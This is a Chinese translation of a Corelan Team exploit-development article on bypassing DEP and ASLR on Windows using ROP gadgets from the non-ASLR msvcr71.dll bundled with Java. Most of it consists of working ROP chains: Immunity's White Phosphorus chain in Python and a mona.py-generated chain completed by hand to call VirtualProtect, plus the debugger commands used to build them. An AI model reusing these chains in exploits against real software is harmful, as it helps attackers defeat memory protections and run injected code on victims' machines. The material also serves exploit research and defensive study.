原文: Corelan Team (corelanc0d3r)
翻译: 后恋
说明
最近几周,有许多关于利用msvcr71.dll中ROP gadgets(译者注gadgets小代码)实现通用绕过DEP/ASLR的方法,事实上甚至已经有集成了这类功能的exploit程序被提交给Metasploit来获取奖金了。
白磷版本
做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向VirtualProtect函数的指针。这个版本的dll没有基于ASLR,因此这是个可以用来实现通用绕过DEP和ASLR的完美侯选者,此外它还包含了生成ROP程序的所有gadgets。
如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用ROP chain来实现绕过DEP和ASLR的通用方法。
Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:
def wp_sayonaraASLRDEPBypass(size=1000):
# White Phosphorus
# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
#
# This technique uses msvcr71.dll which has shipped unchanged
# in the Java Runtime Environment since v1.6.0.0 released
# December 2006.
#
# mail: support@whitephosphorus org
# sales: http://www.immunityinc.com/products-whitephosphorus.shtml
print "WP> Building Sayonara - Universal ASLR and DEP bypass"
size += 4 # bytes to shellcode after pushad esp ptr
depBypass = pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
depBypass += pack('<L', 0x7C365645) # pop esi;ret;
depBypass += pack('<L', 0x7C345243) # ret;
depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
depBypass += pack('<L', 0x7C3487EC) # call eax
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack("<i", -size) # {size}
depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
depBypass += pack('<L', 0xFFFFFFC0) # {flag}
depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
depBypass += pack('<L', 0x7C354648) # pop edi;ret;
depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
depBypass += pack('<L', 0x7C36683F) # push esp;ret;
print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
return depBypass
受Mestasploit奖金事件的触动,以及Abysssec几个小时前(译者注:2011/07/03)发表的一个类似文档,同时由于Immunity已经发布了代码,我决定自己再研究下看看能不能从msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
我用Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建一个拥有ROP gadgets的数据库,并且生成一个rop chain
因为在白磷版本中没有null字节,所以可以尝试做同样的事。
结果如下:
输入命令:
!mona rop -m msvcr71.dll -n
17秒后,结果如下:
rop_gadgets =
[
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
0x????????, # ** <- find routine to move virtualprotect() into esi
# ** Hint : look for mov [esp+offset],eax and pop esi
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from msvcr71.dll)
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0xfffffdff, # value to negate, target value : 0x00000201, target: ebx
0x7c351e05, # NEG EAX # RETN (msvcr71.dll)
0x7c354901, # POP EBX # RETN (msvcr71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
0x7c34d201, # POP ECX # RETN (msvcr71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (msvcr71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (msvcr71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (msvcr71.dll)
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
很有趣,mona.py脚本利用msvce71.dll中的gadgets和指针生成了一个几乎完整的ROP chain。
虽然看上去比Immunity写的稍微大了点,但是仅仅是想尝试下是否还有另一种可利用方式。
mona脚本生成的里面唯一缺少的就是一行将VirtualProtext()函数指针(在EAX中)放入ESI的指令。
mona.py脚本没有发现明显的gadgets能够实现”mov esi, eax”,因此我们不得不手动来查找一个。
但是正如mona.py提示的,只需要寻找一个gadget能够将值写入eax放到栈上,因为之后可以从ESI中获得它。
为了做到这一点,我们还需要2到3条gadgets:一个是获得栈指针,第二个将值写入栈,第三个则是取出其值(pop esi)。
在仔细寻找了生成的rop.txt文件后,成功的找到了下面2个gadget能实现这一点:
0x7c37591f : # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN
0x7c376069 : # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN
应该可以实现。
使用这个两个gadgets,我们只需要将指向VirtualProtext()函数的指针写到栈上,并最终存储到ESI中。事实上,第二个gadget将会在同一gadget中完成写入和读取。我们只需要保证ECX指向正确的栈上的位置,并能保证pop esi指令能够在那个位置获取取值。
注意的是,第一个gadget需要EAX包含一个合法的指向可读区域的指针,因此我们要使他可读的办法是从msvcr71.dll中弹出一个可读的地址放到EAX中。
整合之后,chain如下:
rop_gadgets =
[
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
0x41414141, # EBP (filler)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
0x41414141, # EDI (filler)
0x41414141, # will be patched at runtime (VP), then picked up into ESI
0x41414141, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffffdff, # size 0x00000201 -> ebx, modify if needed
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
# rop chain generated with mona.py
].pack("V*")
共31个双字,比白磷的商业版多了9个双字。但是这个证明了我的观点,而且只花费了我10分钟不到的时间便能建立起这个通用的可以绕过DEP和ASLR的链。
顺便说一下,如果你不知道,也许有坏字节(假设你需要避免使用’\0xa’和’\0xd’),那么你可以运行如下:
!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
以及获取其他指针,其实这些很简单。
总结
不管结果看上去多么完美或者结果多么肯定,它终究会有其他的办法能实现这种结果。本文就是验证了这个观点
(译者注:该文Immunity Debugger 需要在1.83版本上调试、mona,py是corelan组织最新发布的一个可以替代并且功能远强于pvefindaddr的脚本, mona.py脚本已附,Immunity1.83可在此处现在汉化版http://bbs.pediy.com/showthread.php?t=136903)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!